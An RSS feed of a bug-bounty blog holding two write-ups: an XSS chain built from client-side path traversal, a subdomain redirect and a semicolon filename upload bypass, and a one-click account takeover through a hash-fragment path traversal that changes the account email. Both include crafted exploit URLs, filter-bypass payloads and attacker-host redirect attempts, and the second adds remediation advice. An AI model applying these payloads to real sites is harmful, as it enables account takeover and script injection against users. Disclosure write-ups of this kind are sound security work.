<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[breaking_bad_apps]]></title><description><![CDATA[this blog is the place where i will be sharing some of the vulnerabilitys i have found on various copanys]]></description><link>https://patrickbatman.hashnode.dev</link><generator>RSS for Node</generator><lastBuildDate>Fri, 04 Dec 2026 20:28:27 GMT</lastBuildDate><atom:link href="https://patrickbatman.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[How I bypassed a really strict csp and got xss on main target page:]]></title><description><![CDATA[When it comes to bug hunting, I have a habit of spending too long on things that look like dead ends. Ad libraries, tracking pixels, module loaders — the…]]></description><link>https://patrickbatman.hashnode.dev/how-i-bypassed-a-really-strict-csp-and-got-xss-on-main-target-page</link><guid isPermaLink="true">https://patrickbatman.hashnode.dev/how-i-bypassed-a-really-strict-csp-and-got-xss-on-main-target-page</guid><dc:creator><![CDATA[patrickbatman]]></dc:creator><pubDate>Wed, 25 Mar 2026 07:51:19 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69285928ce2240c4011b14eb/87c749b5-3595-48cf-8d5c-6007212353a4.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>When it comes to bug hunting, I have a habit of spending too long on things that look like dead ends. Ad libraries, tracking pixels, module loaders — the kind of infrastructure code that sits on every page but never shows up in anyone's recon notes. Most of the time it leads nowhere. But every now and then, the thing nobody tested turns out to be the thing nobody secured either.</p>
<p>This write-up covers a full XSS chain on <code>https://www.redacted.com</code> built from three bugs that were individually worthless: a client-side path traversal in a prebid.js loader, a server-side redirect locked to subdomains only, and a file upload with an extension filter I had to break. I'm going to walk through the entire process including every failed attempt, because the failures are where the methodology actually lives.</p>
<hr />
<h2>The Target</h2>
<p>The main application at <code>www.redacted.com</code> is a large platform with a wide scope. Several subdomains handle separate functions — CDN, user content, APIs. I'd spent a few hours on the standard checklist: authentication flows, authorization boundaries, CSRF, IDOR. Everything came back clean. The application was mature and it showed.</p>
<p><strong>CSP:</strong> A strict <code>Content-Security-Policy</code> restricting <code>script-src</code> to <code>'self'</code> and known CDN . The script loaded from subdomains would have been blocked by the browser before execution.</p>
<p>I was close to moving on when I started reading the page source. Not the application logic — the ad infrastructure. The page was pulling in prebid.js modules dynamically, and two query parameters were influencing which scripts loaded: <code>adlib-user-geo</code> and <code>idnml-pbjs</code>.</p>
<p>The first one controlled geographic targeting. The second one controlled which prebid module got imported. That second parameter ended up being the entry point for everything that follows.</p>
<hr />
<h2>The Path Traversal</h2>
<p>I searched the webpack bundle for references to <code>idnml-pbjs</code> and found the loader in a chunk:</p>
<pre><code class="language-javascript">// webpack:///./src/modules/adlib/loader.js
!function(e){var t=new URLSearchParams(window.location.search),
n=t.get("adlib-user-geo")||"us",
r=t.get("idnml-pbjs")||"default",
o=document.createElement("script");
o.src="/assets/js/prebid/"+n+"/"+r+".js",
o.async=!0,document.head.appendChild(o)}();
</code></pre>
<p>The <code>idnml-pbjs</code> value goes directly into the <code>src</code> attribute of a dynamically created <code>&lt;script&gt;</code> tag. No validation. No allowlist. String concatenation with user input straight into a script path.</p>
<p>I set <code>idnml-pbjs</code> to a garbage value and watched the network tab:</p>
<pre><code class="language-plaintext">?idnml-pbjs=AAAA  →  GET /assets/js/prebid/gb/AAAA.js  →  404
</code></pre>
<p>My input controls the path. Next:</p>
<pre><code class="language-plaintext">?idnml-pbjs=..\hamid  →  GET /assets/js/prebid/gb/..\hamid.js  →  resolves to /assets/js/prebid/hamid.js
</code></pre>
<p>Path traversal. I used backslashes specifically because some WAF rules only pattern-match <code>../</code> and miss <code>..\</code>, but browsers normalize both identically during URL path resolution. With enough traversal sequences, I could escape <code>/assets/js/prebid/</code> entirely and point the script load at any path on the origin.</p>
<p>The limitation is obvious: this only results in code execution if the traversed path returns a response with a valid JavaScript content type. An HTML page, a JSON endpoint, a 404 — none of those execute as scripts. I needed either a <code>.js</code> file I control on the same origin, or a way to redirect the request to one.</p>
<hr />
<h2>The Redirect</h2>
<p>During earlier recon I had flagged a server-side redirect endpoint:</p>
<pre><code class="language-plaintext">GET /redacted/user_info?redirect=&lt;URL&gt; HTTP/1.1
Host: www.redacted.com
</code></pre>
<p>It accepted a URL in the <code>redirect</code> parameter and returned a 302. If I could chain the path traversal to reach this endpoint and redirect the script load to an external domain hosting my payload, that would be the simplest chain possible.</p>
<p>It was not that simple.</p>
<pre><code class="language-plaintext">redirect=https://attacker.com/payload.js  →  403
</code></pre>
<p>Validated. I started working through the standard bypass techniques:</p>
<pre><code class="language-plaintext">https://attackerredacted.com/                           → 403
https://www.redacted.com@attacker.com/                  → 403
https://attacker.com%40www.redacted.com/                → 403
https://attacker.com#.redacted.com/                     → 403
https://www.redacted.com%23@attacker.com/               → 403
https://attacker.com\.redacted.com/                     → 403
https://attacker.com%00.redacted.com/                   → 403
//attacker.com/payload.js                               → 403
</code></pre>
<p>All dead. The validator was doing proper URL parsing, not string matching. It extracted the hostname and checked it against <code>*.redacted.com</code>.</p>
<p>I moved to fuzzing. Encoded characters <code>\u0000</code>–<code>\u007f</code> injected at different positions in the URL. Single character positions first, then two-character cluster bomb across all permutations. Nothing got through.</p>
<p>Then I tried the double-encode approach. If the server decodes once before validation but the redirect function decodes again before issuing the Location header, double-encoded characters survive the validator and mutate the URL structure on the second pass. I fuzzed with <code>%25FUZZ%FUZZ</code> at multiple positions.</p>
<p>One hit came back: <code>%2540</code> — double-encoded <code>@</code>. The validator decoded once, saw <code>%40</code> as a literal character in the hostname, accepted it. The redirect function decoded again, turned <code>%40</code> into <code>@</code>, which restructured the URL's authority component.</p>
<p>But I couldn't weaponize it. Every arrangement I tried either failed validation or still resolved to a <code>redacted.com</code> host after the browser parsed the final URL. The double-decode was real but the parser's hostname extraction was too robust to exploit for external redirect.</p>
<p>I gave up on external redirect.</p>
<p>But I had confirmed something useful: the redirect accepted any <code>*.redacted.com</code> subdomain with no path restriction.</p>
<pre><code class="language-plaintext">redirect=https://subdomain.redacted.com/literally/anything  →  302
</code></pre>
<p>The strategy shifted. If I could place a JavaScript file with controlled content on any subdomain, I could redirect to it instead of an external server.</p>
<hr />
<h2>The Upload</h2>
<p>I found <code>subdomain.redacted.com</code> during enumeration. It hosted user-generated content with a file upload endpoint at <code>/uploadfile</code>. Files were served directly from the subdomain at predictable URLs. I uploaded a test image — no issues. Then I tested <code>.js</code>:</p>
<pre><code class="language-http">POST /uploadfile HTTP/1.1
Host: subdomain.redacted.com

Content-Disposition: form-data; name="file"; filename="test.js"
Content-Type: application/javascript

alert(1)
</code></pre>
<pre><code class="language-json">{"status":"error","message":"File type not allowed"}
</code></pre>
<p>Extension filter. I worked through the usual bypass attempts:</p>
<pre><code class="language-plaintext">test.js       → Blocked
test.jsx      → Blocked
test.mjs      → Blocked
test.html     → Blocked
test.svg      → Blocked
test.JS       → Blocked    (case-insensitive)
test.js.png   → Accepted   (served as image/png — useless)
test.js%00.png → 400       (null byte caught)
test.js.      → Blocked
test.js(space)→ Blocked    (trimmed)
</code></pre>
<p>The filter extracted the extension after the last dot and checked it against a blocklist. Case-insensitive. Null bytes rejected. Double extensions served by the last extension's MIME type. Solid.</p>
<p>Then I tested the semicolon. In certain server configurations — particularly Apache with <code>mod_mime</code> and some Node.js frameworks — a semicolon in a filename acts as a path parameter delimiter. The web server resolves the MIME type from the extension <em>before</em> the semicolon, while naive extension extraction checks the characters <em>after</em> the last dot.</p>
<pre><code class="language-http">Content-Disposition: form-data; name="file"; filename="payload.js;.png"
Content-Type: application/javascript

alert(document.domain)
</code></pre>
<pre><code class="language-json">{"status":"success","file_url":"/uploads/user/a3f8c1b2/payload.js;.png"}
</code></pre>
<p>Uploaded. Now the serve behavior:</p>
<pre><code class="language-http">GET /uploads/user/a3f8c1b2/payload.js;.png HTTP/1.1
Host: subdomain.redacted.com
</code></pre>
<pre><code class="language-http">HTTP/1.1 200 OK
Content-Type: application/javascript
Access-Control-Allow-Origin: https://www.redacted.com

alert(document.domain)
</code></pre>
<p><code>Content-Type: application/javascript</code>. The upload filter saw <code>.png</code> and allowed it. The web server saw <code>.js</code> before the semicolon and served it as JavaScript. Parser differential between the validation layer and the serving layer.</p>
<p>also note that the same trick got me an xss but thats a different story :)</p>
<p>I now had attacker-controlled JavaScript on a trusted subdomain, served with the correct MIME type, and CORS headers explicitly allowing the main domain to load it.</p>
<hr />
<h2>The Chain</h2>
<p>Each bug alone is a dead end. The path traversal has no payload to load. The redirect only reaches subdomains. The upload is on a subdomain, not the main origin. But connected:</p>
<p><strong>1.</strong> Upload <code>payload.js;.png</code> to <code>subdomain.redacted.com</code>. Contents: <code>alert(document.domain)</code>. Served as <code>application/javascript</code>.</p>
<p><strong>2.</strong> Craft the URL:</p>
<pre><code class="language-plaintext">https://www.redacted.com/?adlib-user-geo=gb&amp;idnml-pbjs=..\..\..\..\..\redacted\user_info%3fredirect%3dhttps%253A%252F%252Fsubdomain.redacted.com%252Fuploads%252Fuser%252Fa3f8c1b2%252Fpayload.js%253B.png
</code></pre>
<p><strong>3.</strong> Victim clicks the link. The page loads on <code>www.redacted.com</code>. The webpack loader reads <code>idnml-pbjs</code>, constructs the script path, the browser normalizes the traversal to <code>/redacted/user_info?redirect=...</code>, the server validates the redirect target (<code>subdomain.redacted.com</code> — passes), issues a 302 to the uploaded file, the browser fetches it, receives <code>Content-Type: application/javascript</code>, and executes the payload in the context of <code>www.redacted.com</code>.</p>
<p>Full XSS. Single click. The URL points to the legitimate domain. The victim sees nothing unusual.</p>
<hr />
<h2>Impact</h2>
<p>JavaScript execution on the main domain. Session riding via authenticated fetch requests (the browser attaches HttpOnly cookies automatically). an this can lead to oauth binding wich lead to ato i might do a part 2 cause this part was long i don't wanna make it longer</p>
<hr />
<h2>Why This Bug Existed</h2>
<p>The path traversal existed because the developer assumed client-side parameters are safe and they've used it for debugging purpouse— the server never sees them, so why validate? The redirect existed because subdomain-scoped redirects feel harmless — it's all "our" infrastructure. The upload bypass existed because the validation layer and the serving layer disagreed on how to parse a filename with a semicolon.</p>
<p>Three components, three teams, three reasonable assumptions. None of them were wrong in isolation. All of them were wrong together. The attack surface wasn't in any single component — it was in the gap between them.</p>
<hr />
<p><em>Testing conducted within an authorized bug bounty program. Vulnerabilities disclosed and patched. All identifying details redacted.</em></p>
<p><em>cross the fingers for me for this to still be critical cause even with the 1 user intraction can still be but i need a working oauth chain</em></p>
<img src="https://cdn.hashnode.com/uploads/covers/69285928ce2240c4011b14eb/7ada465a-69a7-4492-9e5d-d2d01683256b.png" alt="" style="display:block;margin:0 auto" />

<p>Here you go:</p>
<p>If you made it this far, you're the kind of person I write these for. I'm building a space where hunters share methodology, not just results — real chains, real dead ends, the thinking behind the thinking. If that sounds like your thing, come join the journey at <a href="http://onehacker.space">onehacker.space</a>. And if you found something useful in this write-up, drop a comment below — I've got something for you.</p>
]]></content:encoded></item><item><title><![CDATA[How I Took Over Any Account on a Major Platform With One Click — A Client-Side Path Traversal Story]]></title><description><![CDATA[I want to tell you about the night I stared at my screen for way too long, convinced I was looking at nothing — and then suddenly realized I was looking at…]]></description><link>https://patrickbatman.hashnode.dev/how-i-took-over-any-account-on-a-major-platform-with-one-click-a-client-side-path-traversal-story</link><guid isPermaLink="true">https://patrickbatman.hashnode.dev/how-i-took-over-any-account-on-a-major-platform-with-one-click-a-client-side-path-traversal-story</guid><dc:creator><![CDATA[patrickbatman]]></dc:creator><pubDate>Sat, 07 Mar 2026 22:14:22 GMT</pubDate><content:encoded><![CDATA[<h2>Intro</h2>
<p>I want to tell you about the night I stared at my screen for way too long, convinced I was looking at nothing — and then suddenly realized I was looking at everything.</p>
<p>This is the story of how I found a one-click account takeover on a major platform, chaining three weaknesses that individually looked useless into something that could completely destroy a victim's account. One crafted link. One click from the victim. Full takeover. Password reset. Locked out forever.</p>
<p>I reported this via HackerOne and was rewarded with a <strong>$2,500 bounty</strong>. The vulnerability has since been patched.</p>
<p>Here's the full demo if you'd rather watch than read:</p>
<p><a href="https://www.youtube.com/watch?v=8EqtzHPkZ_U">https://www.youtube.com/watch?v=8EqtzHPkZ_U</a></p>
<hr />
<h2>Background — How This Hunt Started</h2>
<p>I'll be honest with you. I almost didn't test this feature at all.</p>
<p>I was doing a pretty routine recon session — clicking around the app, intercepting traffic, just getting a feel for the attack surface. I'd already tested a bunch of the more obvious stuff and was starting to run out of ideas. You know that feeling. The one where you've been staring at an app for hours and everything just starts to look… fine. Boring. Like maybe you should just close Burp and go to bed.</p>
<p>But something made me click on the email verification flow. Maybe curiosity, maybe stubbornness. I noticed the page was using a hash fragment — <code>#verify_token</code> — to drive backend API calls. I remember thinking, <em>that's a little odd.</em> And when something feels a little odd, you pull on that thread.</p>
<p>I'm glad I did.</p>
<hr />
<h2>Issue 1 — The Hash Parameter No One Validated</h2>
<p>For those who don't know: hash fragments (the <code>#whatever</code> part of a URL) are <strong>purely client-side</strong>. Browsers strip them before sending any request to the server. They never appear in server logs. They're invisible to the backend.</p>
<p>This means if a developer writes code to parse a hash fragment and uses the result to build API requests, that logic runs in JavaScript in the browser — with zero server-side oversight. If they make a mistake, there's nothing to catch it.</p>
<p>The email verification page was doing exactly this. I found client-side code that looked roughly like this:</p>
<pre><code class="language-javascript">(function(e, r) {
    var t = f(r.location.hash.replace("#verify_token=", "")).split("-"), 2);
    return {
        codeId: t[0],
        secret: t[1]
    }
})
</code></pre>
<p>It strips <code>#verify_token=</code> from the hash, splits on <code>-</code>, and takes the first chunk as <code>codeId</code>. That <code>codeId</code> then gets directly dropped into the path of a <code>PUT</code> fetch request.</p>
<p>No sanitization. No allow-listing. No validation of any kind.</p>
<p>I sat back for a second. <em>If I can control codeId, I control which API endpoint gets called.</em></p>
<p>Path traversal. <code>../</code>. The oldest trick in the book, just… in a URL hash. In a client-side fetch. In a place nobody apparently thought to look.</p>
<p>I URL-encoded <code>../</code> as <code>%2e%2e/</code> and started thinking about where I could point this thing.</p>
<hr />
<h2>Issue 2 — The API That Accepted Email Changes in a Query Parameter</h2>
<p>I went back through my Burp history looking for any endpoint that could cause damage if called in an unexpected context. And then I saw it.</p>
<pre><code class="language-http">PUT /access-control/bb-api/api/v1/user?email=attacker@example.com HTTP/1.1
Host: [redacted]
</code></pre>
<p>Email address updates. Via a <strong>query parameter</strong>. On a <code>PUT</code> request.</p>
<p>I know. I made the same face you're making right now.</p>
<p>This is already not great API design — sensitive mutations belong in the request body, not the URL. Query params get logged by proxies, leaked in <code>Referer</code> headers, cached by browsers. But more importantly for me: if I could redirect the <code>codeId</code> traversal to point at this endpoint, I could trigger an email update on behalf of whoever was currently logged in.</p>
<p>At this point I started to feel that specific kind of bug hunter excitement — the kind that makes you forget it's 1am and you haven't eaten dinner.</p>
<hr />
<h2>Issue 3 — Putting It All Together</h2>
<p>The full payload was simple. Almost insultingly simple:</p>
<pre><code class="language-plaintext">https://[redacted]/email-verification/#verify_token=%2e%2e/user?email=attacker@example.com&amp;-randomdata
</code></pre>
<p>Here's the exact sequence of events when a logged-in victim visits that URL:</p>
<ol>
<li><p>JavaScript strips <code>#verify_token=</code> and splits on <code>-</code></p>
</li>
<li><p><code>codeId</code> becomes <code>../user?email=attacker@example.com</code> (after decoding <code>%2e%2e</code>)</p>
</li>
<li><p>The page fires a <code>PUT</code> to <code>.../api/v1/../user?email=attacker@example.com</code></p>
</li>
<li><p>Server resolves the path traversal → request hits <code>.../api/v1/user?email=attacker@example.com</code></p>
</li>
<li><p>Backend sends an email verification to <code>attacker@example.com</code></p>
</li>
<li><p>Attacker clicks the verification link in their own inbox ✅</p>
</li>
<li><p>Attacker's email is now bound to the victim's account</p>
</li>
<li><p>Attacker hits "Forgot Password" with their email → resets it</p>
</li>
<li><p>Attacker is in. Victim is locked out. Permanently.</p>
</li>
</ol>
<p>I tested it on my own account first. Sent myself the link, clicked it, watched the verification email land in my other inbox. Clicked verify. Refreshed the account page.</p>
<p>My email had changed.</p>
<p>I just sat there for a moment. Then I made a video.</p>
<hr />
<h2>Impact</h2>
<p>Once an attacker owns the account, the damage is real:</p>
<ul>
<li><p><strong>Full access</strong> to all projects, sites, and deployments</p>
</li>
<li><p><strong>Environment variables exposed</strong> — API keys, database credentials, tokens, secrets</p>
</li>
<li><p><strong>Malicious code deployed</strong> directly to production</p>
</li>
<li><p><strong>Source code compromised</strong> via connected Git repositories</p>
</li>
<li><p><strong>Supply chain attacks</strong> — inject JavaScript into live production websites, affecting thousands of downstream users</p>
</li>
<li><p><strong>Permanent lockout</strong> of the real owner with no recovery path</p>
</li>
</ul>
<p>The victim doesn't just lose their account. They lose everything connected to it.</p>
<hr />
<h2>The Vulnerability Chain — Root Causes</h2>
<table>
<thead>
<tr>
<th>#</th>
<th>Issue</th>
<th>What went wrong</th>
</tr>
</thead>
<tbody><tr>
<td>1</td>
<td>Client-side path traversal</td>
<td><code>codeId</code> from <code>#verify_token</code> used directly in fetch path — no sanitization</td>
</tr>
<tr>
<td>2</td>
<td>Sensitive mutation via query param</td>
<td>Email updates accepted as <code>?email=</code> in URL instead of request body</td>
</tr>
<tr>
<td>3</td>
<td>No CSRF protection</td>
<td>Same-origin <code>PUT</code> requests with no CSRF token required</td>
</tr>
</tbody></table>
<hr />
<h2>Remediation</h2>
<ul>
<li><p><strong>Validate</strong> <code>codeId</code> <strong>before using it.</strong> It should be an opaque token — reject anything containing <code>/</code>, <code>..</code>, or URL-encoded equivalents before building any fetch path.</p>
</li>
<li><p><strong>Move email updates to the request body.</strong> Query parameters are not the right place for sensitive mutations.</p>
</li>
<li><p><strong>Normalize paths server-side</strong> and reject anything that resolves outside the expected API scope.</p>
</li>
<li><p><strong>Add CSRF protection</strong> to all sensitive state-changing operations.</p>
</li>
</ul>
<hr />
<h2>Timeline</h2>
<table>
<thead>
<tr>
<th>Date</th>
<th>Event</th>
</tr>
</thead>
<tbody><tr>
<td>Aug 20, 2025</td>
<td>Report submitted</td>
</tr>
<tr>
<td>Aug 20, 2025</td>
<td>Passed initial analyst review</td>
</tr>
<tr>
<td>Aug 27, 2025</td>
<td>Triaged and confirmed valid</td>
</tr>
<tr>
<td>Sep 3, 2025</td>
<td>$2,500 bounty awarded</td>
</tr>
</tbody></table>
<hr />
<h2>The Severity Debate</h2>
<p>The program rated this <strong>High</strong> instead of Critical. Their reasoning: the attack requires social engineering, since the victim has to click a link.</p>
<p>I pushed back. My CVSS argument:</p>
<pre><code class="language-plaintext">AV:N / AC:L / PR:N / UI:R / S:C / C:H / I:H / A:H = 9.6 Critical
</code></pre>
<p>Phishing a link is a completely realistic attack scenario. People click links every day. And "User Interaction: Required" on CVSS is a binary flag — it doesn't care if it's one click or ten. The outcome here is full compromise: the real owner is permanently locked out, every secret they stored is exposed, and every project they deployed is under attacker control.</p>
<p>But the program has a consistent policy: social-engineering-assisted account takeovers are High. I respect it, even if I disagree. It was still a great finding and a program I genuinely enjoy working with.</p>
<hr />
<h2>The Lesson</h2>
<p><strong>Hash fragments feel safe because the server never sees them. That's exactly what makes them dangerous.</strong></p>
<p>Developers often lower their guard around <code>#</code> parameters because they don't appear in server logs or backend code. But if JavaScript is parsing them and using them to build API requests, they're a full attack surface. The fact that the server can't see them doesn't mean attackers can't control them.</p>
<p>Treat hash fragment values the same way you'd treat any user input. Validate it. Sanitize it. Never build a path out of it without checking what's in it first.</p>
<p>And always, always look at the features that seem boring. The ones nobody thinks to test. That's usually where the good stuff is hiding.</p>
<hr />
<p><em>Happy hunting. 🐛</em></p>
<p><em>— pactrickbatman</em></p>
]]></content:encoded></item></channel></rss>